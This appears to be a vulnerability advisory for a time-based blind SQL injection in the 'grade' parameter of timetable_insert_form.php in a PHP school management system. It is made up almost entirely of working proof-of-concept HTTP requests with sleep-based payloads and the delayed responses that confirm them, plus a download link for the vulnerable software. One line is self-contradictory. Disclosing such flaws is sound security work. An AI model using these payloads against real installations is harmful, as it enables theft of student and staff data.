

SQL injection vulnerability exists in grade parameter of /view/timetable_insert_form.php file of Complete Web-Based School Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

Request

```
1 GET /std1/view/timetable_insert_form.php?grade=(select(0)from(select(sleep(4)))v) HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 17:00:52 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 4381
8
9 <!-- //MSK-000119-1 modalInsertform -->
10 <div class="modal msk-fade" id="modalInsertform"
11     tabindex="-1" role="dialog" aria-labelledby="
12     modalInsertform" aria-hidden="true">
13
14     <div class="modal-dialog ">
15         <div class="container modal-content1 ">
16             <!--modal-content -->
17             <div class="row ">
18
19                 <div class="col-md-3 ">
20                     <div class="panel panel-primary">
21                         <div class="panel-heading">
```

Done 4,571 bytes | 4,003 millis

Sleep time is 12s:

Request

```
1 GET /std1/view/timetable_insert_form.php?grade=(select(0)from(select(sleep(12)))v) HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 17:01:19 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 4382
8
9 <!-- //MSK-000119-1 modalInsertform -->
10 <div class="modal msk-fade" id="modalInsertform"
11     tabindex="-1" role="dialog" aria-labelledby="
12     modalInsertform" aria-hidden="true">
13
14     <div class="modal-dialog ">
15         <div class="container modal-content1 ">
16             <!--modal-content -->
17             <div class="row ">
18
19                 <div class="col-md-3 ">
20                     <div class="panel panel-primary">
21                         <div class="panel-heading">
```

Done 4,572 bytes | 12,003 millis

Payload: grade=(select(0)from(select(sleep(12)))v)

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>